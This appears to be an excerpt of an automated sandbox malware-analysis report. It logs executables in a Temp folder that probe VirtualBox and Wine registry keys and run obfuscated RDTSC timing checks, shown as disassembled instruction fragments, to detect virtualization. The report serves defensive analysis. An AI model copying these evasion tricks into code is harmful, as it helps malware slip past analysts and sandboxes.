Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 219FC9 second address: 219FD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FE5D53969E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 219FD4 second address: 219FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21911D second address: 219131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE5D53969E6h 0x0000000a pop esi 0x0000000b push ebx 0x0000000c ja 00007FE5D53969E6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 219131 second address: 219147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 jns 00007FE5D4EEBCB6h 0x0000000e jnp 00007FE5D4EEBCB6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 219147 second address: 21915C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 js 00007FE5D53969E6h 0x0000000c pop esi 0x0000000d jc 00007FE5D53969EEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2195BD second address: 2195C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2195C2 second address: 2195F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 jmp 00007FE5D53969F2h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE5D53969F2h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21975C second address: 219762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2198C8 second address: 2198CE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2198CE second address: 2198D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2198D7 second address: 2198E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE5D53969E6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21CC16 second address: 21CC1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21CC1C second address: 21CCCA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FE5D53969F6h 0x0000000e push 00000000h 0x00000010 sbb cl, FFFFFFCCh 0x00000013 push 0234C100h 0x00000018 push edx 0x00000019 jnl 00007FE5D53969ECh 0x0000001f pop edx 0x00000020 xor dword ptr [esp], 0234C180h 0x00000027 push 00000000h 0x00000029 push esi 0x0000002a call 00007FE5D53969E8h 0x0000002f pop esi 0x00000030 mov dword ptr [esp+04h], esi 0x00000034 add dword ptr [esp+04h], 0000001Ch 0x0000003c inc esi 0x0000003d push esi 0x0000003e ret 0x0000003f pop esi 0x00000040 ret 0x00000041 call 00007FE5D53969F6h 0x00000046 mov dword ptr [ebp+122D1E16h], ecx 0x0000004c pop edi 0x0000004d push 00000003h 0x0000004f xor dword ptr [ebp+122D2B4Dh], ecx 0x00000055 push 00000000h 0x00000057 or dh, FFFFFFD2h 0x0000005a push 00000003h 0x0000005c clc 0x0000005d movsx edx, cx 0x00000060 call 00007FE5D53969E9h 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007FE5D53969EFh 0x0000006e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21CCCA second address: 21CCCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21CCCE second address: 21CCD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21CCD4 second address: 21CD0D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FE5D4EEBCBDh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jo 00007FE5D4EEBCCDh 0x00000012 jmp 00007FE5D4EEBCC7h 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push eax 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21CD0D second address: 21CD26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 jne 00007FE5D53969ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21CD26 second address: 21CD2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21CD2A second address: 21CD2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21CD2E second address: 21CD9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c jmp 00007FE5D4EEBCBFh 0x00000011 pop eax 0x00000012 pop eax 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FE5D4EEBCB8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov esi, dword ptr [ebp+122D35C6h] 0x00000033 and edi, dword ptr [ebp+122D363Eh] 0x00000039 lea ebx, dword ptr [ebp+12451AE2h] 0x0000003f mov edx, 47389D8Bh 0x00000044 mov esi, dword ptr [ebp+122D34CEh] 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push edx 0x0000004e jmp 00007FE5D4EEBCBFh 0x00000053 pop edx 0x00000054 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21CED0 second address: 21CED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21D001 second address: 21D07C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007FE5D4EEBCBAh 0x0000000a nop 0x0000000b add si, 474Ch 0x00000010 movsx edi, bx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FE5D4EEBCB8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f jg 00007FE5D4EEBCBCh 0x00000035 call 00007FE5D4EEBCB9h 0x0000003a push edx 0x0000003b pushad 0x0000003c pushad 0x0000003d popad 0x0000003e jmp 00007FE5D4EEBCC5h 0x00000043 popad 0x00000044 pop edx 0x00000045 push eax 0x00000046 pushad 0x00000047 pushad 0x00000048 pushad 0x00000049 popad 0x0000004a js 00007FE5D4EEBCB6h 0x00000050 popad 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21D07C second address: 21D094 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE5D53969E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007FE5D53969E6h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 21D094 second address: 21D0A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FE5D4EEBCB8h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 20F7FC second address: 20F806 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FE5D53969E6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 20F806 second address: 20F80A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 20F80A second address: 20F83A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5D53969EFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jc 00007FE5D5396A05h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 jmp 00007FE5D53969EFh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 20F83A second address: 20F83E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23B187 second address: 23B1AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FE5D53969F3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e je 00007FE5D53969E6h 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23B325 second address: 23B340 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE5D4EEBCB6h 0x00000008 jmp 00007FE5D4EEBCC1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23B340 second address: 23B370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5D53969F5h 0x00000009 jmp 00007FE5D53969F7h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23B370 second address: 23B385 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE5D4EEBCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b je 00007FE5D4EEBCB6h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23B385 second address: 23B38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23B63B second address: 23B66E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007FE5D4EEBCB6h 0x0000000d jmp 00007FE5D4EEBCC7h 0x00000012 jmp 00007FE5D4EEBCBEh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23B66E second address: 23B6C7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE5D53969FDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jng 00007FE5D53969ECh 0x00000011 ja 00007FE5D53969E6h 0x00000017 push eax 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007FE5D53969EAh 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FE5D53969F9h 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23B83F second address: 23B84A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23B84A second address: 23B850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23B850 second address: 23B85F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCBBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23BA09 second address: 23BA2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE5D53969F6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23BA2A second address: 23BA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jns 00007FE5D4EEBCB6h 0x0000000c popad 0x0000000d push eax 0x0000000e je 00007FE5D4EEBCB6h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23BB87 second address: 23BB91 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE5D53969E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23BB91 second address: 23BBA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jbe 00007FE5D4EEBCB6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23BBA0 second address: 23BBB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FE5D53969E6h 0x00000010 jc 00007FE5D53969E6h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23BBB6 second address: 23BBC0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE5D4EEBCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23BE86 second address: 23BE8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23BE8A second address: 23BE9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23BE9A second address: 23BEB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23C169 second address: 23C184 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE5D4EEBCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FE5D4EEBCBEh 0x00000010 pushad 0x00000011 popad 0x00000012 jnp 00007FE5D4EEBCB6h 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23C184 second address: 23C1A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007FE5D53969F0h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23C1A1 second address: 23C1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23C1A7 second address: 23C1B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE5D53969E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 234162 second address: 234176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE5D4EEBCB6h 0x0000000a popad 0x0000000b pushad 0x0000000c ja 00007FE5D4EEBCB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 214ACF second address: 214AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 214AD5 second address: 214AD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 214AD9 second address: 214B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007FE5D53969E6h 0x00000011 jnc 00007FE5D53969E6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE5D53969F8h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23CBEE second address: 23CC1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE5D4EEBCC3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE5D4EEBCC5h 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23CD7A second address: 23CD7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23CD7E second address: 23CD8C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23CD8C second address: 23CD97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FE5D53969E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23CD97 second address: 23CD9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23CD9D second address: 23CDCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jng 00007FE5D53969ECh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE5D53969F7h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23CDCD second address: 23CDD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23CDD1 second address: 23CDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23CF59 second address: 23CF5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23CF5F second address: 23CF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23CF64 second address: 23CF69 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 23F86E second address: 23F888 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 242339 second address: 24233D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 242973 second address: 242988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE5D53969EDh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 242988 second address: 2429B7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FE5D4EEBCBDh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE5D4EEBCC5h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 241933 second address: 241939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 248240 second address: 248244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 248244 second address: 248271 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE5D53969EEh 0x00000008 jo 00007FE5D53969E6h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE5D53969F9h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
